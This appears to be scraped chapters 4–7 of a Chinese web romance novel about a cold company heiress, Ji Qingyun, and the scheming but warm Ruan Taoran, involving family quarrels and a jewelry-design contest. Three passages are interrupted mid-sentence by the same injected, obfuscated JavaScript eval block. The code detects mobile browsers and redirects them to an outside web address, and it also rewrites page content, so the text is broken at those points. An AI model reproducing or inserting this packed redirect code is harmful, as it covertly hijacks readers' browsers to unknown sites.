“现在我还有我爸我妈的照片,他们当年的情书,我都给爷爷看了,不会出错的。” “你闭嘴。”梁霜呛声,“早不找来,晚不找来,等人死了找来了,谁知道你什么居心?” “再说了,一家子在这儿吃饭,长辈说话,哪有晚辈说话的份儿?” 纪育川被指着脸斥了两句,也不生气,继续慢条斯理地给老爷子挑鱼肉。 老爷子开开心心吃了鱼肉,一脸慈爱:“小川就是乖孙,孝顺,你们都好好学学。” 梁霜气得鼻子要歪了,眼睛一转看向了纪青云:“青云,你现在公司里管事,你倒是说两句。” 说什么?说他不是她大哥,和老爷子对着干? 老爷子明显在兴头上,对这个大孙子宝贝得很,爷慈孙孝都写在脸上了。 梁霜这一句话,一桌子目光都看过来了。 纪青云吃了两口饭道:“爷爷,我吃饱了,晚上还有个会要开……” 纪明老爷子只顾着爷慈孙孝,大手一挥:“你忙,你去忙吧,今天就是让你回来和你大哥见个面。” 纪青云跟自己四个便宜妈颔首,算是打了招呼,起身就走了。 回到车里,只觉得耳朵里面还萦绕着梁霜吵架的声音,耳朵疼,吵得很。 “纪总,去哪儿?”司机问了一嘴。 跨国会议有时候会在晚上,又没人查她的行程单,她只是随口搪塞了个借口,这会儿公司里没事。 纪青云思忖了一下,忽然闻到一股淡淡的栀子花香的味道。 “车里换了香薰?”纪青云问了一句。 司机怔了一下,没想到纪青云问这个。 连忙指了一下挂着的香袋:“今天阮小姐走的时候给的,说车里香薰味道淡了。” 忙不迭补充了一句:“您要是不喜欢这个,我马上买新的香薰把这个换掉。” 纪青云看着那淡紫色的香囊,眼前一晃,晃出来阮陶然的脸,那双乌溜溜好看的小鹿眼还有灿烂的笑容。 她今天白天接阮陶然的时候,的确闻到一股淡淡的香味,好像和这个香袋的味道一样,栀子花的味道。 “不用换。”纪青云靠在座椅上,闭上了眼睛,“去隆华天域。” “好。”司机应了声,再没问别的,直接启动了车子。 不过心里确有疑问,纪青云在隆华天域有一处宅子,一直荒着,两三年没住了,突然想起来去住了? 要不是今天送阮小姐,阮小姐家在隆华天域,走了一趟,他都未必想起来路怎么走。 4. 第 4 章 隆华天域17号,纪青云进了屋子,换了鞋,开了灯。 虽然两三年没人住,但一直有人打扫,屋子里干干净净的,生活用品一应俱全,只是没有人气。 纪青云坐在沙发上缓了一会,才觉得耳朵边上吵吵嚷嚷的声音没了。 今天其实还算好的,只有梁霜一个人下场了,平日里四个便宜妈一起张口,比菜市场好不到哪儿去。 她不理解老爷子为什么非要一家人住一起,几十张嘴一起说话,耳朵边上都是嗡嗡的。 好在这几年她管公司里面的事情,大部分时间都托辞在外面住,也没人说什么。 纪青云开了酒柜,酒柜是空的,钟点工定时打扫卫生,却不会定时填充酒柜。 去书房里开了下电脑,然后发现连不上网,这才想起来,网费大概也没人交。 纪青云坐会到沙发上,又闻到那股淡淡的栀子花香的味道,应该是在车里染到衣服上的。 纪青云又换了衣服出了门,在小区里溜达了半圈,远远看见12号的门牌,阮家。 风起,路边的樱花树簌簌摇晃,一片一片的樱花落下来,在路灯下,恍惚下了一阵缥缈的雨。 纪青云转身准备走了,忽然听到背后的声音:“姐姐?” 纪青云转回身来,那人就站在樱花树下,一片一片纷落的樱花落在那棕色的发上,落了她满肩满怀。 路灯映照之下,那双小鹿眼亮晶晶的,唇边的笑压都压不住,灿烂得像是一朵向日葵。 她三步并作两步,笑吟吟地跑到纪青云身边,伸手勾住了纪青云的衣袖:“你怎么来了?” 她离得近,那股栀子花的香味就格外清楚,清新淡雅的,不过分喧宾夺主,衬得阮陶然也水灵灵的。 那双眼睛里写满了惊喜,似乎是很开心纪青云的到来,但又不敢过多动作,只是轻轻勾住了她的衣袖。 纪青云眸色凝在她鬓边的发丝上,伸手指尖轻轻碰触,拈掉了那一片粉色的樱花花瓣。 阮陶然就这么站着,任由纪青云动作,笑盈盈地看着纪青云:“姐姐是来找我的吗?” 这件事有那么重要吗?纪青云不理解她的开心,不过是主动来找她这样的小事而已。 纪青云语气淡淡:“晚饭吃饱了,睡前到处走走。” 她随口说的,其实根本没吃饱,那个环境要是能吃饱就奇怪了。 “哦。”阮陶然目光中的亮色缓缓暗下去,唇角却依旧带着笑意,“那我们一起走走?” 阮陶然就和纪青云并肩走着,走到樱花树下,一阵风吹来,又是一片好看的樱花雨。 纪青云转头,正看到阮陶然也在看她,隔着飘落的花瓣,那双小鹿眼里满眼都是她。 阮陶然状似不自然地回了头,唇角却忍不住微微上扬。 好看吧,温馨吧,她隔着窗户看到纪青云来了,想好了出场方式才跑下来的。 三月夜里的风冷,但为了最温馨美好的视觉效果,她连外套都没敢穿,生怕破坏了画面的和谐。 这会儿风吹着,也怪冷的。 卷王轻轻倒吸了口凉气,却不表现出来瑟缩的姿态,缩起来就不好看了。 阮陶然往纪青云身边凑了凑,然后试探着轻轻碰了一下纪青云的手背。 初只是碰了一下,然后伸手过去紧紧攥住了:“好凉啊。” 阮陶然的手也凉,但和纪青云比起来,还是有点温度。 纪青云的手就像是一块寒冰,白日里握到的时候也是这样,冰得人心一颤。 阮陶然上上下下看了纪青云一个遍:“姐姐,你穿得也太薄了,俗话说春捂秋冻,换季最容易感冒的。” “白日里就说你穿得薄,晚上也不见你给自己加件衣服,这么把自己搞生病了怎么办?” 阮陶然拉着纪青云的手就往家里走:“我家里有外套,我帮你找一件先穿上。” 她急得很,拉着纪青云就要走,仿佛下一秒不穿件衣服,纪青云就在这里冻死了。 纪青云的脚步却定在原地没动:“阮陶然,我不冷。” “怎么不冷?手都冻冰了。”阮陶然急得很,为了凹造型穿太薄了,再不回去,她要冻感冒了。 她满脸的急切藏都藏不住,完全落入了纪青云的眼睛里。 阮陶然就这么关心,这么着急? 刚才她从家里出来,一家子几十口子,可没一个人跟她说多穿件衣服。 纪青云的态度松动了,但还是没有动步子:“我不想见到你家里人,况且我空着手上门,没有礼貌。” 要是见到阮峰,估计话题会直接到工作上去,纪青云不想扯这个。 阮陶然皱了皱眉,似乎有些苦恼:“可你也不能这么冷着啊。” 我也不能这么冷着啊,我要回去穿件衣服,这么陪着逛,明天估计就躺床上起不来了。 阮陶然眼睛一转:“不用告诉他们,我们悄悄的,你跟我回我的房间。” “你不生气吗?”纪青云忽然问了一句。 阮陶然把纪青云的手捂在自己手里暖着:“我生什么气啊?” “我不愿意到你家去,也不想见你的家人。”纪青云说道。 几乎是她话音刚落,阮陶然就接了一句:“你不想见他们,但是你想见我啊。” 她一点都不恼的样子,反而有些得意洋洋:“姐姐喜欢我,所以愿意见我就行,我很高兴了。” 说完,忙补充了一句:“走吧,他们都回屋了,我们悄悄回去,没人发现的。” 再不回屋,就真要冻感冒了,这一阵阵风吹得,樱花雨是好看,但吹得人透心凉。 那亮晶晶的小鹿眼看着她,满心满眼都写着期待和着急。 阮陶然真的在关心她穿得太薄,纪青云态度又缓了一步,点头道:“好。” 纪青云从来没有这么偷偷摸摸到人家里过。 在她前面的阮陶然顶着一脑袋的花瓣,像是做贼一样,悄悄伸脑袋看。 顶着花瓣和毛茸茸的发,那颗脑袋像是一株可爱的小蘑菇。 看到院子里没人,阮陶然忙回头朝着她招手,示意她跟上去。 两个人悄摸摸进了院子,又悄摸摸进了宅子,上了楼,到了阮陶然的卧室,一路上没有被人发现。 阮陶然来不及拍自己头上的花瓣,忙不迭在衣架上翻来翻去,找出来一件浅米色的羊绒大衣。 不由分说,披在了纪青云的身上。 她伸手帮纪青云整理扣子,整个人几乎贴在纪青云的怀里。 纪青云一低头,就看到那浅棕色的毛茸茸的发顶,一股淡雅幽幽的栀子花香。 纪青云环视了一圈这个屋子,只有一张桌子,一张床,连个衣柜都没有,所有的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691415|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服挂在简易的衣架上。 不过屋子收拾得很温馨,有桌布,有地毯,还有桌上插着鲜花的花瓶。 阮陶然手指头有些动僵了,颇费了些力气,才把那两三颗扣子扣好。 搓了搓手,从衣架上又拿下来一件毛绒睡衣外套穿在身上,脱了鞋,盘膝坐在了床上。 “姐姐,你也坐。”她招呼了一下纪青云,拍了拍自己身边的位置。 这屋子里连一把椅子都没有,的确也只有床可以坐。 但上来就坐人家的床,是不是不太礼貌,也太亲近了…… 阮陶然不觉得不自在,看着纪青云的眼睛大大方方,满都是热情和主动。 纪青云犹豫了一下,在床边的位置,谨慎地坐下了。 坐下之后,纪青云意识到,栀子花香味不只是从阮陶然的身上飘过来的,那床头就挂着两个香囊。 那两个香囊和她车里挂着的一模一样,栀子花调为主,还有淡淡的柠檬草香味。 阮陶然见她的目光落在那香囊上,也不说破。 那什么叫做,熟悉一个人要先熟悉她的味道,闻到一个味道就能想到一个人。 阮陶然伸手够了设计册下来翻着看。 两个人没话说,总要找些话,在阮陶然这里就没有冷下来的场子。 “姐姐,你看这是我的设计作品,老师都夸我有天分呢。” 纪青云也没事做,阮陶然就邀请了,那就一起看。 最初只是想着随意看看,看了几页,纪青云浅琉璃色眸子的神色定了定。 阮陶然真的好喜欢云纹这个元素,好多设计都和云有关,祥云图纹,轻柔的云朵造型…… 阮陶然手里这本册子可不是随手拿的,她有好几本,这本是云元素的专题设计。 一本设计图翻了一半,忽然听到咚咚咚的敲门声。 “谁啊?”阮陶然扬声问了一句。 女佣的声音:“二小姐,大小姐回来了,夫人让您下去见一见。” “知道了。”阮陶然回了一声,“我穿件衣服就下去。” 阮陶然望着纪青云,眸子里似乎有些依依不舍,合上了手里的册子:“姐姐,我先下去,有机会我们再看。” 纪青云眸底微微暗了暗,声音微冷:“你今日回来,她不该早些回家吗?” 且不说白天不回来迎接,大晚上回来,还专门把人喊下去见面,这个大小姐架子可是足足的。 “可能是姐姐有工作要处理吧……”阮陶然通情达理地帮人找了一下理由。 她当然知道,阮如月是这个家里最恨她的人,这就是故意摆架子呢。 “你叫她姐姐?”纪青云冷冷的声音,一下子打断了阮陶然的话。 阮陶然愣了一下,阮如月是她叔叔的女儿,大她一岁,叫姐姐,一点问题都没有啊。 “她排行老大,应该叫她大姐。”纪青云拿过阮陶然手里的册子,垂眸翻动,语气似乎是漫不经心。 阮陶然:“……” 一般大姐、二姐这种称呼……都是家里有好几个姐姐才按排行来叫吧? 她就阮如月一个姐姐,从小到大都是叫姐姐。 叫大姐,听起来像是喊路边买菜的阿姨的叫法。 阮陶然脑子一转,脸上的笑容却浓了些。 纪青云对姐姐这个称呼,很有占有欲啊。 5. 第 5 章 香槟色的毛呢大衣下面,穿了条浅色蕾丝长裙,阮如月踢了脚上的镶钻细跟高跟鞋,把手里东西扔到了沙发上。 饶曼走过去帮她脱外套,顺便塞了杯热水在她手里:“这又是去哪儿了?回来这么晚?” “你妹妹今天回来,早就告诉你了。”阮峰皱了皱眉,他闻到阮如月身上的酒气。 “又出去喝酒了?”阮峰语气有些不满。 “小月肯定是出去应酬了啊,应酬哪有不喝酒的?”饶曼白了他一眼,顶了一句。 阮如月没醉,她凑到阮峰身边,伸手揽住了阮峰的胳膊晃了晃。 “爸爸,我是去参加庆功宴了,就我拿的那个金奖,我朋友们非要帮我办的。” “领头的是孙昭祖,他亲自给我打了电话,说是专门给我办的,我又不能不去。” “孙昭祖最近不是在看江城的生意吗?我想着搭了这条线,对我们来说没坏处。” “爸爸,我真的不是在胡闹——”阮如月语调拖长,满都是撒娇的意味。 这家里就是这样,饶曼护着她,阮峰这边撒个娇就能过关,她可没把晚归喝酒的事放在心上了。 阮峰被她一顿摇晃,脑子里早就是七荤八素,脸上的那点严肃也挂不住了。 听到孙昭祖的名头,阮峰才回了神,叮嘱一句:“孙昭祖名声可不太好,你别乱来。” “爸爸,你想什么呢?我和他就普通朋友,他欣赏我的才华而已。”阮如月得意洋洋,“S国新锐设计师大赛举办了这么些年,从来没有国内设计师拿过金奖,你女儿这么优秀,你也不夸夸。” “爸爸——”阮如月说着,继续晃阮峰的胳膊,搂着他的手臂笑不停。 “好好好,我女儿最优秀。”阮峰早就顾不上生气了。 他也不懂珠宝设计的什么事,也不知道这是个什么奖,只大概听起来,是很厉害的样子。 他脸上也忍不住多了些慈爱,与有荣焉,揉了揉阮如月的发顶:“就是下次,不准不和家里说就出去喝酒。” “知道了,爸爸对我最好了。”阮如月说着,眸子亮晶晶地看着阮峰,“那能不能给点奖励?” “上次我飞巴黎,在一个私人博物馆里看到一条十八世纪的红宝石项链,买给我好不好?” “什么红宝石项链?你不是有了很多了吗?”阮峰不明白,都是一样的项链,为什么要买那么多。 “不一样的。”阮如月也知道自家爸爸直男本性,“设计不一样,意义也不一样,材质也不一样……” “那馆主是个十八世纪的老贵族后代,东西是他家传的,他不缺钱,本来也不愿意出手。” “后来多亏是孙绍祖牵线,他才肯卖,价钱给的也合适。” “我得赶紧下手,说不定他改主意了,就不卖了。” 阮如月喋喋不休撒娇,阮峰却微微蹙了蹙眉:“又是这个孙绍祖?” 孙绍祖是前两个月才到江城,瞬间就成为了江城圈子里的新贵。 孙家在宝岛一手遮天,孙绍祖是家里受宠的小少爷,说这次来江城是来创业的。 这种有钱人家的少爷所谓的创业,和寻常人的白手起家可不一样,手里抓着人脉和资金。 就是来江城找个合作对象,做个好看的小生意,把账本拿回去给家里人一看,家里人都高兴。 无论是图他现在手里的资源,还是图他背后的孙家,江城圈子里的人都乐意哄着小少爷玩。 孙绍祖说起来都好,只一样,是个好色的,在宝岛的时候,就和宝岛的大小女明星混得不清不楚。 来了江城也不见收敛,前段时间和某天后的绯闻传得漫天飞,后来孙家看不过去,出手给压了。 阮峰不乐意阮如月和这样的人混在一起玩,但阮如月三哄两哄,说就是普通朋友,又糊弄过去了。 不仅糊弄过去了,还把红宝石项链混到手了,搂着阮峰的胳膊,一口一个爸爸最好,喊得甜。 饶曼也笑着看着阮如月,眸子里满是溺爱,一家三口,其乐融融的气氛。 阮陶然下楼的时候,看到的就是一副这样的场景。 站在楼梯口,脚步定了定,脸上洋溢起来灿烂的笑容。 声音高扬了些,喊了声:“大姐回来了啊。” 她这会儿还没下楼,声音又高,保准在她房间的纪青云能听得到。 她态度积极热情,阮峰也没听出来有什么不对,招了招手:“快过来,你们姐妹也好多年没见面了。” 阮如月目光扫过来,脸上的笑容就凝固了:“什么大姐大姐的,听起来真难听。” “那……”阮陶然脚步顿了一下,语气怯怯,“菲菲也叫你大姐的……” 阮菲菲是阮陶然小叔叔的女儿,年龄最小,称呼阮如月大姐,叫阮陶然二姐。 你让别人这么叫,不让我这么叫,不是因为对大姐这个称呼有意见,就是对我有意见。 这些意思,阮陶然都没说出来,只用自己欲言又止和怯怯的动作表现出来。 阮如月不喜欢阮陶然这件事,阮峰一直知道,再加上阮陶然这么欲言又止的,落在他眼里就是阮如月欺负妹妹。 他喜欢阮陶然,也架不住自家女儿撒娇哄人,最后还是一句重话不敢说,随便浑水摸鱼了事。 “好了好了,你们姐妹别吵了,就一个称呼,不准回家第一天就这么横眉冷对的。” 阮陶然也不恼,阮峰护着阮如月,今天她精心营造了那么好的见面印象,也没见阮峰对她偏向。 那是他亲女儿,他护着是应该的,阮陶然一点都不钻牛角尖。 阮陶然可不管阮如月会不会继续生气,对她来说,阮如月本来就讨好不到,还不如纪青云有价值。 于是坐下了,继续了刚才的称呼:“好几年没见大姐了,还是和原来一样……漂亮。” 她语气顿了下,才说出后两个字。 阮如月总觉得她这句话不好好意。 但阮陶然脸上是洋溢的笑,一双乌溜溜的眼睛亮晶晶的,灿如夏花,单纯干净,生机勃勃的。 阮如月心里膈应,却不找词儿,硬憋出来一声轻哼,不搭理阮陶然。 她就是讨厌阮陶然这样子,从小到大都讨厌,积极热情阳光,把她压得渣都不剩。 本来,家里靠着阮如月的父母讨生活,她什么都不敢说。 后来,阮陶然没了依仗,她就是想抢,就是想要把她踩下去。 可踩了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691416|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多年,阮陶然从来都不灰溜溜的,阮如月看到她的笑,就气不打一处来。 尽管阮峰知道阮如月的性子,此刻也忍不住有些生气。 他希望家里和和睦睦的,就像是他今天回来看到阮陶然的样子,温馨有爱,充满阳光,他忙了一天可以松懈。 现在不是阮陶然惹事,是阮如月不给人面子。 “你一见面就呛声,现在又不理人,你再这样,那红宝石项链不买了。” 阮峰也不是给阮陶然出头,他只是觉得听着吵架就烦。 “别啊,爸爸——”阮如月连忙搂住了阮峰的胳膊,语气都软了。 “然然也是,和小时候一样可爱。”她敷衍地回答了一句,扯出个言不由衷的笑。 “这样才好,你们姐妹都是学珠宝设计的,有共同语言。” 阮峰站起身:“我明早还要开会,先上去休息了,你们好好交流感情。” 他已经发了话,阮如月也服了软,不会打起来了,他也就不多放在心上了。 他走之前看了一眼两姐妹坐在一起的画面,心满意足,家里就该是这样,和和美美的。 才刚刚这么想,饶曼就追上来牵住了他的手,小声说道:“你怎么为了那丫头说小月,小月都难过了……” “家,就该有个家的样子,然然多听话,你们一个两个怎么这么多事。”阮峰不满地叹一声,甩开了饶曼的手。 饶曼怔住了,这些年来,她和阮峰是周围人眼中的模范夫妻,阮峰还没有这样过。 自打这段时间,阮陶然给了信要回来之后,阮峰就变了。 这些年来,阮陶然在外面,阮峰都是好好的,家里和和美美的。 饶曼当然没有意识到,阮峰不是因为阮陶然变的,是因为阮陶然要回来,饶曼忍不住念叨,他烦了。 他上了一天班,回家只想放松下来,结果回来就是念叨和家长里短的吵架。 和饶曼阮如月两母子比起来,阮陶然满心都是他,还给他准备礼物,接他回家,当然惹他喜欢。 但也到此为止,他会给阮如月买红宝石项链,可不会给阮陶然买,亲疏有别,他心里有数。 阮如月见阮峰和饶曼两个人进了屋,脸上的笑就散了。 端着手里的解酒汤有一口没一口喝着,睨了阮陶然一眼。 阮陶然也心不在焉的,她还惦记着在楼上的纪青云,还不知道等会儿怎么把这祖宗送走呢。 落在阮如月眼里,就是阮陶然漫不经心的,不把她这个姐姐放在眼里。 “你就装吧,当着我爸的面,倒是会演戏。”阮如月冷哼一声。 阮陶然不置可否,只静静听着,阮峰让她们聊天,她坐一会儿完成任务就上去。 阮陶然的人生准则是与人为善,但这个“人”不包含阮如月。 她越是漫不经心,阮如月就越是生气,她觉得自己被忽视了。 她重重把碗放下,语气扬了扬:“听说S国新锐设计师大赛,你也参加了?” “结果怎么样啊?” “我随便试了试,结果就拿了金奖。” “听说有人抄袭被取消了奖项。” “啧啧,没本事还想着当金凤凰呢?” 6. 第 6 章 阮陶然的表情顿了顿,望着阮如月的眸子里没了笑意,似乎是沉沉的风暴。 阮如月靠在沙发上伸了个懒腰:“怎么?硬本事比不过,要威胁我啊?” 阮陶然眸子里的风暴一闪而逝,似乎是强行掩盖下去,露出个淡淡甜甜的笑来。 “我可不一定比不过大姐,接下来还有国内的设计大赛呢。” 浓密的睫羽之下,那双小鹿眼亮晶晶的,她下颌微微抬起,脸上的笑容自信洋溢,一丝一毫的颓败都没有。 “我也累了,上去休息了。”阮陶然起身就走,没有多给阮如月一个眼神。 阮如月脸上的笑容一下子就顿住了,这死丫头,真的不生气?还很有自信要准备接下来的比赛? 不可能,绝对不可能,刚才那死丫头的眼神有一瞬间像是能吃人一样,她肯定生气了,就是会装。 想到那个自信的笑,阮如月心里就不爽,抬手把身边的抱枕砸了出去。 在旁边收拾桌面的女佣吓了一跳:“大小姐……” 阮如月拿起桌子上的解酒汤一饮而尽,冷声道:“把路让开。” 那女佣连忙怯怯让开了路,阮如月起身就走了,走的时候还带着几分气。 国内设计大赛是吧?她这次还是要压阮陶然一头,她就不信阮陶然还不生气,还能装得下去。 阮陶然没进屋,她站在二楼拐角的地方,把楼下的场景都看在眼里,唇角忍不住扬了扬。 当人气急败坏的时候,就会发一些没必要的火,然后出一些不理智的昏招。 她可不生气,她刚才都是演出来的。 至于国内设计大赛怎么办……她目光看向自己卧室的门,睫羽轻轻扇动了两下。 她屋里还有尊大佛呢,最起码能给自己挣个公平出来吧。 阮陶然脸上挂上灿烂的笑,开了门,探头进来看了一眼,正与纪青云四目相对。 纪青云手里那本册子已经翻到了最后一页,显然已经过了一阵了。 屋里的光是暖色的,笼在纪青云的身上,黑发掩映之下,那截白皙的脖颈上也染了暖色。 可唯独,那双淡琉璃色的眸子还是冷的,望过来的时候,像是一望无际的凛凛冰原。 睫羽轻轻抬起,有些让人不敢靠近的威严,让人知难而退的淡淡疏冷。 阮陶然却似乎一点都没冷到似的,挂着灿烂的笑凑过来:“姐姐,这一本你都看完了啊?” 她贴着纪青云坐下,摸了摸纪青云的手背:“手暖了些,果然还是穿少了。” 纪青云的指尖之下,正是这本设计册的最后一页。 那是一张有些枯黄的纸,折损了之后又压平,熨帖平整地贴在设计册的最后一页。 那是一枚星月环绕的吊坠,中间镶嵌绿宝石作为月亮,周围是星子笼罩,隐隐可以看出来一片星云的形状。 往常的月亮都是金黄的,少有用绿宝石做月亮,看起来不违和,反而有种勃勃生机的美感。 阮陶然眸色顿了顿,缓缓说道:“这不是我设计的。” 纪青云的指尖压在最后的署名上:“Ling,应该是你母亲的署名。” 宋灵玉Ling,阮陶然Aling,本就是有关联的两个名字。 在Ling的署名旁边还有一个品牌的名字——Seraphine。 纪青云睫羽压了压,淡淡说了句:“Seraphine是你母亲创办的吧?” “你居然知道Seraphine?”阮陶然有些惊讶。 “Seraphine最近向星悦城提交了入驻资料。”纪青云淡淡说了一句。 Seraphine是阮家的品牌,当年在宋灵玉的带领之下打出了名声,挤入一流,这两年来倒是逐渐走下坡路了。 星悦城是整个江城最高端的大型商场,汇聚一流奢牌,寻常的牌子根本进不去。 阮陶然的目色落在那张发黄的设计图上,眸子忍不住有些微微悠远。 “我小时候,天天看妈妈画画,纠缠着她问她在画什么,她就一笔一笔教我。” “那个时候我才三四岁,什么都不懂,她带着我去全球各个地方看展。” “Seraphine的设计理念是妈妈建立的,不要说在江城,在全国都是独一份的。” 阮陶然也好久没有翻这本册子了,看到那个Ling的签名,一时心神有些摇动。 纪青云的指尖顿了一下,然后抬手合上了册子:“时间晚了,我该回家了。” 阮陶然怔了一下,抬眸撞入那一片浅淡琉璃色的眸子里,冷得她心里一颤。 不知道为什么,她总觉得纪青云那眸光似乎比刚才更冷,还多了一点沉沉的审视。 一瞬间,阮陶然就意识到自己说错话了。 星悦城是纪氏的,Seraphine的入驻审核就算不是纪青云负责,也会送到她面前过一遍。 所以,阮陶然刚才一时被设计图勾起来情丝,说的那些话就错了。 她在表扬Serapnine,就像是想要通过纪青云走后门一样。 或许,不只是刚才这些话。 刚才纪青云提到Seraphine的话里就带着试探。 纪青云翻到设计册的最后一页,看到这一页的时候,大概就这么想了—— 今天的一切都只是阮陶然的局,强行带她回家,给她看册子,就是想要让她看到这张设计图,想要帮Seraphine走后门。 纪青云已经站起身来了,阮陶然连忙拉了一下她的衣袖。 迎上那双冷淡到极致的眸子,她依然露出灿烂的笑:“我先看看外面有没有人。” 她悄悄开了门,朝外面看过去,女佣正在收拾桌子,阮如月已经回了房。 阮陶然拉着纪青云的手下了楼,出了门之后,发觉夜里的风又变得猛了些。 “你怎么把外套脱了啊?”阮陶然冷得缩了一下身子,就看到纪青云只穿着单薄的西装外套。 不等纪青云说什么,她就把自己身上的毛绒外套脱下来了,直接盖在了纪青云的肩膀上。 风吹起她鬓边浅棕色的乱发,那双眸子在路灯的招摇下亮晶晶的,颊腮边,像是落了樱花,粉粉的。 “不要……”纪青云皱了皱眉,想要把身上的衣服脱下来。 “你回去还要一段路,我转身就回家了。”阮陶然笑盈盈说道,“我喜欢姐姐穿我的衣服。” 纪青云浅琉璃色的眸子微微动了动,她眼前的笑灿烂温暖,但她总忍不住想起那个纪念册。 阮陶然看着纪青云欲言又止,似乎是下定了很大决心说道:“姐姐,其实我还有件事……” “说吧。”纪青云语气淡淡的,她眸底有些失落,连她自己都觉察不到的失落。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691417|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不要因为我,就对Seraphine的入驻偏私好不好?” 纪青云一怔,完全相反的预想。 “你确定?”纪青云缓缓开口,“要是仔细审查,Seraphine的资质肯定是不够的。” “确定啊。”阮陶然毫不犹豫,“纪氏一向严格,要是开了这个口子,姐姐以后就难办了。” 她眼睛眨了眨,满是信赖地盯着纪青云,轻轻勾住了她的手指:“好不好嘛,姐姐?” 她在撒娇,还从来没有人在纪青云面前,敢这么撒娇。 “阮陶然,对你来说,Seraphine不重要吗?”纪青云问道。 阮陶然已经是服了,她都拿出撒娇的杀手锏了,这人还是八风不动的镇定。 那双眸子里没有动容,她依然保持着阮氏掌权人的理智,看着阮陶然,就像是看着陌生人。 “是妈妈留给我的,很重要,但是……”阮陶然抿了抿唇,睫羽轻轻垂了垂,“但是也不能这么说吧……” 她的话似乎有些混乱,但又让人从里面听出来言外之意—— 很重要,但是不能让你为难更重要。 阮陶然没说出来,只是拉住了纪青云的手,笑盈盈说道:“我最喜欢姐姐了。” “嗯。”纪青云点了点头,轻轻摸了一下她微凉的脸,“外面冷,回去吧。” 阮陶然点了点头,脚步却没动,只是一双眸子灼灼地盯着纪青云,轻声问道:“那姐姐……喜欢我吗?” 像是充满了畏惧的小兽,问出来这个问题之后,那睫羽轻轻颤抖不停,眸子里有期待,又有不安。 她的手心是暖的,拢着纪青云的指节,热度透过肌肤传递过来。 纪青云能闻到一股淡淡的栀子花香,清新淡雅,充满了生命力,勃勃生机的味道。 就像是眼前的小姑娘,如三月里的花,灿烂温暖,惹人怜惜。 “喜欢。”纪青云缓缓开口,答了一句。 “我就知道姐姐喜欢我。”阮陶然笑着,“姐姐先走吧,我看姐姐走了就回家。” 阮陶然哈着手,脸被风吹得微微红,却还是一直站在那盏路灯下面,依依不舍地目光追着她的背影。 等到纪青云的身影消失在视野之中,阮陶然连忙抱着胳膊,打了个寒颤,一路小跑回了家。 喜欢?阮陶然才不信,那双眸子里没有一点点动容,看着她,就像是看着死物一般。 纪青云就是个骗子,这人如传闻之中一般,感情淡薄,充满了警惕心,凉薄得可怕。 她不过就是说错了话,那审视的目光,完全把她当做是犯人来审查了。 纪青云到底想要什么呢?为什么会接机?会为什么会主动靠近她? 阮陶然想了一天了,渐渐也有些头绪。 没人不在意别人的关心和喜欢,纪青云的生活之中大概是没有这样的角色的。 纪氏乱得很,她回了家也没有避风港。 阮陶然就是她的避风港,她大概是想要体会一下人间温情的感觉。 阮陶然倒了杯热水喝下去,指尖回暖了些,然后回房缩进了被子里。 纪青云这人大概是不喜欢被人利用的。她刚才的处理方式,应该还好? 思来想去,要不要和纪青云发个消息,主动表示一下关心,卷一下。 就看到微信最上方的文字——对方正在输入中…… 7. 第 7 章 阮陶然速度很快,抢在纪青云之前发了条消息过去—— 姐姐,到家和我发个消息哦。 先到消息,表明关心。 几乎是发出去的片刻,对面的消息也已经发过来了。 一段话,还有一个人的微信名片。 [凤珠集团冯珊珊,她是S国新锐设计师大赛组委会的成员,我和她说过,请她再次审查一遍资料。] 阮陶然愣了一下,然后发消息道:[姐姐,你刚刚听到了?] [嗯。]纪青云的回复只有一个字。 然后继续发过来一条:[Date的夏季系列设计稿出了问题,我看你册子里那一套很合适,推给冯珊珊了。] [你明天加她的好友,把设计稿发给她看看。] 不等阮陶然回复,纪青云的消息就又来了,只有四个字:[睡吧,晚安。] 阮陶然一时之间眸子都瞪大了一些。 春季系列,她是有一套设计稿,在另一本册子里,纪青云也看了? Date,目前国内珠宝圈子的风向标,在国际上都很有名望的牌子。 她才刚刚崭露头角,她的设计能成为Date夏季系列的产品? 阮陶然几乎被面前的消息砸晕了,想了半天怎么回复,输入了之后又删除,犹豫了好久。 对面又来了六个字:[别想太多,睡吧。] [好,姐姐晚安。]阮陶然最后也只发了这么一句。 语气看起来很平静,但是开心得恨不得在屋子里转个圈圈。 纪青云进了门,脱了身上的毛绒外套,这外套还带了个兔子耳朵,看起来幼稚得不行。 她没有随手丢在沙发里,而是拿进了卧室,叠整齐了之后,放在了柜子里。 随手给私人助理韩悦发了条消息:[下周三下午约了冯小姐打高尔夫,把行程空出来。] 正趴在床上看网络小说的韩悦垂死病中惊坐起,翻了翻纪青云的行程单,回了句:[纪总,收到。] 